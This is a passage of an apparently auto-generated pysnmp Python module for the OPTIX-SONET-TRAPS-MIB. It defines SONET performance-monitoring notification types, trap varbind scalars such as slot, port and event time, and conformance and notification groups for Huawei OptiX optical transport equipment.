"rptEvtDateTime")) if mibBuilder.loadTexts: pmPLBCCur.setStatus('current') pmPLBCMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36874)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPLBCMax.setStatus('current') pmPLBCMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36875)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPLBCMin.setStatus('current') pmPLWCCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36876)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPLWCCur.setStatus('current') pmPLWCMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36877)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPLWCMax.setStatus('current') pmPLWCMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36878)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPLWCMin.setStatus('current') pmCVSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36879)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmCVSection.setStatus('current') pmESSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36880)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmESSection.setStatus('current') pmSESPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36881)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmSESPath.setStatus('current') pmUASPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36882)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmUASPath.setStatus('current') pmCVVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36883)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmCVVT.setStatus('current') pmESVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36884)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmESVT.setStatus('current') pmSESVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36885)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmSESVT.setStatus('current') pmUASVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36886)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmUASVT.setStatus('current') pmPSC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36887)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPSC.setStatus('current') pmPjcsPdet = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 45065)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPjcsPdet.setStatus('current') optixTrapsCommon = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50)) rptAlmName = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 10), AlarmEventType()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptAlmName.setStatus('current') rptEvtMOD2 = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 20), MOD2Type()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtMOD2.setStatus('current') rptEvtSlot = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 30), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtSlot.setStatus('current') rptEvtPort = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 40), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtPort.setStatus('current') rptEvtPath = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 50), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtPath.setStatus('current') rptEvtVT = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 70), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtVT.setStatus('current') rptEvtDateTime = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 80), DateAndTime()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtDateTime.setStatus('current') rptEvtSrvEff = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 90), AlmDataSrvEffType()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtSrvEff.setStatus('current') rptEvtNtfcnCde = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 100), AlmDataNtfcnCdeType()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtNtfcnCde.setStatus('current') rptEvtLocation = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 110), LocationType()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtLocation.setStatus('current') rptEvtDirection = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 120), DirectionType()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtDirection.setStatus('current') rptEvtMonValue = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 130), Integer32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtMonValue.setStatus('current') rptEvtThValue = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 140), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtThValue.setStatus('current') rptEvtDescription = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 150), DisplayString()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtDescription.setStatus('current') rptEvtNumber = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 160), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtNumber.setStatus('current') rptEvtPeriod = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 170), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("null", 0), ("period15m", 1), ("period1day", 2)))).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtPeriod.setStatus('current') rptEvtVldty = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 180), ValidflagType()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtVldty.setStatus('current') rptEvtEffect = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 190), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(6, 7, 8))).clone(namedValues=NamedValues(("tc", 6), ("sc", 7), ("cl", 8)))).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtEffect.setStatus('current') rptEvtState = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 200), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 3))).clone(namedValues=NamedValues(("start", 1), ("clear", 3)))).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtState.setStatus('current') rptEvtAiddet = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 210), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtAiddet.setStatus('current') rptEvtSeqNumber = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 220), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptEvtSeqNumber.setStatus('current') rptPmName = MibScalar((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 50, 230), PerformanceEventType()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: rptPmName.setStatus('current') optixSonetTrapsConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 60)) optixSonetTrapsGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 60, 1)) optixSonetTrapsObjectGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 60, 1, 1)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptAlmName"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptPmName")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): optixSonetTrapsObjectGroup = optixSonetTrapsObjectGroup.setStatus('current') optixSonetTrapsNotificationGroup = NotificationGroup((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 60, 1, 2)) for _optixSonetTrapsNotificationGroup_obj in [[("OPTIX-SONET-TRAPS-MIB", "almSignalDegradeVT"), ("OPTIX-SONET-TRAPS-MIB", "almSignalFailureVT"), ("OPTIX-SONET-TRAPS-MIB", "evtLossOfClock"), ("OPTIX-SONET-TRAPS-MIB", "evtFileLost"), ("OPTIX-SONET-TRAPS-MIB", "evtREILine"), ("OPTIX-SONET-TRAPS-MIB", "evtBiasTemperatureOfPumpHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtTimSection"), ("OPTIX-SONET-TRAPS-MIB", "evtLossOfAllSynchronousSource"), ("OPTIX-SONET-TRAPS-MIB", "evtSynchronousSourceDegrade"), ("OPTIX-SONET-TRAPS-MIB", "evtSyncLOS"), ("OPTIX-SONET-TRAPS-MIB", "evtProtectionSwitching"), ("OPTIX-SONET-TRAPS-MIB", "evtDbmsError"), ("OPTIX-SONET-TRAPS-MIB", "evtLossOfMultiplexSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtLossOfSingleWavelengthSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtAdditionOfSingleWavelengthSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserDegraded"), ("OPTIX-SONET-TRAPS-MIB", "evtPumpDiodeCoolingCurrentHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtS1ModeSynChange"), ("OPTIX-SONET-TRAPS-MIB", "evtDbmsIsInProtectMode"), ("OPTIX-SONET-TRAPS-MIB", "evtSecuAlarm"), ("OPTIX-SONET-TRAPS-MIB", "evtForwardErrorCorrectionLossOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "evtForwardErrorCorrectionOutOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "evtRateOver"), ("OPTIX-SONET-TRAPS-MIB", "evtCardConfigurationFail"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopback"), ("OPTIX-SONET-TRAPS-MIB", "evtCoolingCurrentModeHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtOTULossOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "evtOTUOutOfMultiFrame"), ("OPTIX-SONET-TRAPS-MIB", "evtSmTIM"), ("OPTIX-SONET-TRAPS-MIB", "evtPmTIM"), ("OPTIX-SONET-TRAPS-MIB", "evtSmBDI"), ("OPTIX-SONET-TRAPS-MIB", "evtPmBDI"), ("OPTIX-SONET-TRAPS-MIB", "evtSmBEI"), ("OPTIX-SONET-TRAPS-MIB", "evtPmBEI"), ("OPTIX-SONET-TRAPS-MIB", "evtSmIAE"), ("OPTIX-SONET-TRAPS-MIB", "evtSmBipExcessive"), ("OPTIX-SONET-TRAPS-MIB", "evtPmBipExcessive"), ("OPTIX-SONET-TRAPS-MIB", "evtSmBipSignalDefect"), ("OPTIX-SONET-TRAPS-MIB", "evtPmBipSignalDefect"), ("OPTIX-SONET-TRAPS-MIB", "evtOTUAlarmIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtODUAlarmIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtODUOpenConnectionIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtODULockedIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtSumInputOpticalPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtSumInputOpticalPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "evtSumOutOpticalPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtOutOpticalPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "evtGainLow"), ("OPTIX-SONET-TRAPS-MIB", "evtExcessiveErrorDefectBeforeFEC"), ("OPTIX-SONET-TRAPS-MIB", "evtDgeAdjustmentFail"), ("OPTIX-SONET-TRAPS-MIB", "evtWavelengthLockFail"), ("OPTIX-SONET-TRAPS-MIB", "evtHotSwitchControlUnavail"), ("OPTIX-SONET-TRAPS-MIB", "evtEsconCodeError"), ("OPTIX-SONET-TRAPS-MIB", "evtCommitTimeout"), ("OPTIX-SONET-TRAPS-MIB", "evtSwdlNePackageCheck"), ("OPTIX-SONET-TRAPS-MIB", "evtSwdlChaGmngmMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtDBSyncFail"), ("OPTIX-SONET-TRAPS-MIB", "evtClientMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserModuleMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtEqptNoServiceAffecting"), ("OPTIX-SONET-TRAPS-MIB", "evtEqptServiceAffectingFail"), ("OPTIX-SONET-TRAPS-MIB", "evtApsByteFailure"), ("OPTIX-SONET-TRAPS-MIB", "evtFarEndProtectionLineFailure"), ("OPTIX-SONET-TRAPS-MIB", "evtApsChannelMismatchFailure"), ("OPTIX-SONET-TRAPS-MIB", "evtApsModeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtApsTypeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtHoldoverSync"), ("OPTIX-SONET-TRAPS-MIB", "evtFreeRunSync"), ("OPTIX-SONET-TRAPS-MIB", "evtFastStartSync"), ("OPTIX-SONET-TRAPS-MIB", "evtManualSetSSM"), ("OPTIX-SONET-TRAPS-MIB", "evtFanOffline"), ("OPTIX-SONET-TRAPS-MIB", "evtSingleFanFail"), ("OPTIX-SONET-TRAPS-MIB", "evtMultiFanFail"), ("OPTIX-SONET-TRAPS-MIB", "evtEquipmentTypeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtEquipmentOfflineOrUninstalled"), ("OPTIX-SONET-TRAPS-MIB", "evtTransmitterFailure"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalFailureSection"), ("OPTIX-SONET-TRAPS-MIB", "evtInputPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtInputPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalFailureLine"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalDegradeLine"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserApprochingEndOfLife"), ("OPTIX-SONET-TRAPS-MIB", "evtOutPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtOutPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalDegradeSection"), ("OPTIX-SONET-TRAPS-MIB", "evtAlarmIndicationSignalLine"), ("OPTIX-SONET-TRAPS-MIB", "evtRemoteFailureIindicationLine"), ("OPTIX-SONET-TRAPS-MIB", "evtAlarmIndicationSignalPath"), ("OPTIX-SONET-TRAPS-MIB", "evtLossOfPointerPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTraceIdentifierMismatchPath"), ("OPTIX-SONET-TRAPS-MIB", "evtUnequippedPath"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalFailurePath"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalDegradePath"), ("OPTIX-SONET-TRAPS-MIB", "evtRemoteFailureIindicationPath"), ("OPTIX-SONET-TRAPS-MIB", "evtALS"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackFacility"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackTerminal"), ("OPTIX-SONET-TRAPS-MIB", "evtPayloadLabelMisatch"), ("OPTIX-SONET-TRAPS-MIB", "evtEnhancedRemotePalyloadFailureIndicationPath"), ("OPTIX-SONET-TRAPS-MIB", "evtEnhancedRemoteServerFailureIndicationPath"), ("OPTIX-SONET-TRAPS-MIB", "evtEnhancedRemoteConnectivityFailureIndicationPath"), ("OPTIX-SONET-TRAPS-MIB", "evtPDIPath"), ("OPTIX-SONET-TRAPS-MIB", "evtPowerFail"), ("OPTIX-SONET-TRAPS-MIB", "evtLossOfPointerVT"), ("OPTIX-SONET-TRAPS-MIB", "evtAlarmIndicationSignalVT"), ("OPTIX-SONET-TRAPS-MIB", "evtPayloadLabelMismatchVT"), ("OPTIX-SONET-TRAPS-MIB", "evtUnequippedVT"), ("OPTIX-SONET-TRAPS-MIB", "evtRemoteFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "evtRemoteServerFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "evtEnhancedRemoteConnectivityFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "evtEnhancedRemotePalyloadFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "evtInterFaceCardOffline"), ("OPTIX-SONET-TRAPS-MIB", "evtSyncChangeSSM"), ("OPTIX-SONET-TRAPS-MIB", "evtTimeingModeChange"), ("OPTIX-SONET-TRAPS-MIB", "evtLockoutWorkingUnit"), 